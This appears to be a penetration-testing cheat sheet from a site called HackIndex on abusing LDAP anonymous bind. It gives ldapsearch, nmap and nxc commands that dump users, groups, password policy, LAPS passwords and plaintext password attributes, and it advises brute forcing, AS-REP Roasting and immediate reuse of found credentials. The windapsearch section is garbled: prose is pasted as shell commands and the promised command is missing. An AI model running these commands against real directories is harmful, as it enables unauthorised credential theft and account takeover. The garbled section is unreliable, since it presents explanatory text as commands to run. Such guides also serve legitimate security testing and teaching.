Skip to content
HackIndex logo

HackIndex

LDAP Anonymous Bind – Unauthenticated Data Extraction

4 min read Mar 11, 2026

An LDAP server that permits anonymous (null) binds allows any unauthenticated client to query the directory. On Active Directory this is disabled by default in modern builds but still appears in legacy environments and on misconfigured DCs. On OpenLDAP and other directory servers, anonymous access is often intentionally configured but scoped too broadly. The impact is direct: user accounts, group memberships, password policies, and sometimes cleartext credentials in attribute fields, all without authenticating.

Confirming Anonymous Bind

Test whether the target accepts a null bind:

┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -s base namingcontexts

A response listing naming contexts like DC=corp,DC=local confirms anonymous bind is permitted. An Invalid credentials or Inappropriate authentication error means it is not.

With nmap:

┌──(kali㉿kali)-[~]
└─$ nmap -p 389 --script ldap-rootdse $TARGET_IP

Dumping the Full Directory

With the base DN confirmed, dump the entire accessible directory tree:

┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" > ldap-dump.txt

The output may be large. Pipe through grep to pull what matters immediately, or save and parse offline.

Extracting Users

┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(objectClass=user)" sAMAccountName userPrincipalName memberOf description

On OpenLDAP:

┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(objectClass=posixAccount)" uid cn homeDirectory

The description attribute on AD user objects frequently contains plaintext passwords set by administrators — check it on every user account returned.

Extracting Groups

┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(objectClass=group)" cn member

Focus on privileged groups: Domain Admins, Enterprise Admins, Backup Operators, Account Operators. Members of these groups are high-value targets for further attacks.

Password Policy

┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(objectClass=domainDNS)" minPwdLength lockoutThreshold lockoutDuration pwdHistoryLength

A low or zero lockoutThreshold means brute forcing user accounts is safe. No lockout policy means unlimited attempts. Feed this into your credential attack planning.

Sensitive Attributes Worth Checking

These attributes are sometimes readable anonymously and contain high-value data:

┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(objectClass=user)" ms-MCS-AdmPwd
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(objectClass=user)" unixUserPassword
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(objectClass=user)" userPassword
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(objectClass=*)" description

ms-MCS-AdmPwd is the LAPS password — normally ACL-restricted but occasionally over-permissioned. userPassword and unixUserPassword appear on OpenLDAP and mixed Linux/AD environments and may be plaintext or weakly hashed.

Using windapsearch for Faster AD Extraction

windapsearch wraps common AD LDAP queries and formats output cleanly:

┌──(kali㉿kali)-[~]
└─$ ms-MCS-AdmPwd is the LAPS password — normally ACL-restricted but occasionally over-permissioned. userPassword and unixUserPassword appear on OpenLDAP and mixed Linux/AD environments and may be plaintext or weakly hashed.
┌──(kali㉿kali)-[~]
└─$ Using windapsearch for Faster AD Extraction
┌──(kali㉿kali)-[~]
└─$ windapsearch wraps common AD LDAP queries and formats output cleanly:

Works with anonymous bind by default — no credentials needed if the server permits it. If anonymous access works, this is faster than raw ldapsearch.

┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u '' -p '' --users
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u '' -p '' --groups
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u '' -p '' --password-not-required

--password-not-required lists accounts with PASSWD_NOTREQD set — these may authenticate with a blank password, making them immediate access targets.

What to Do with the Output

A list of valid domain usernames feeds directly into AS-REP Roasting without credentials — see https://hackindex.io/services/kerberos/exploitation/asrep-roasting. Password policy with no lockout enables safe brute forcing. Credentials found in description fields should be tested immediately against SMB, WinRM, and other exposed services.

References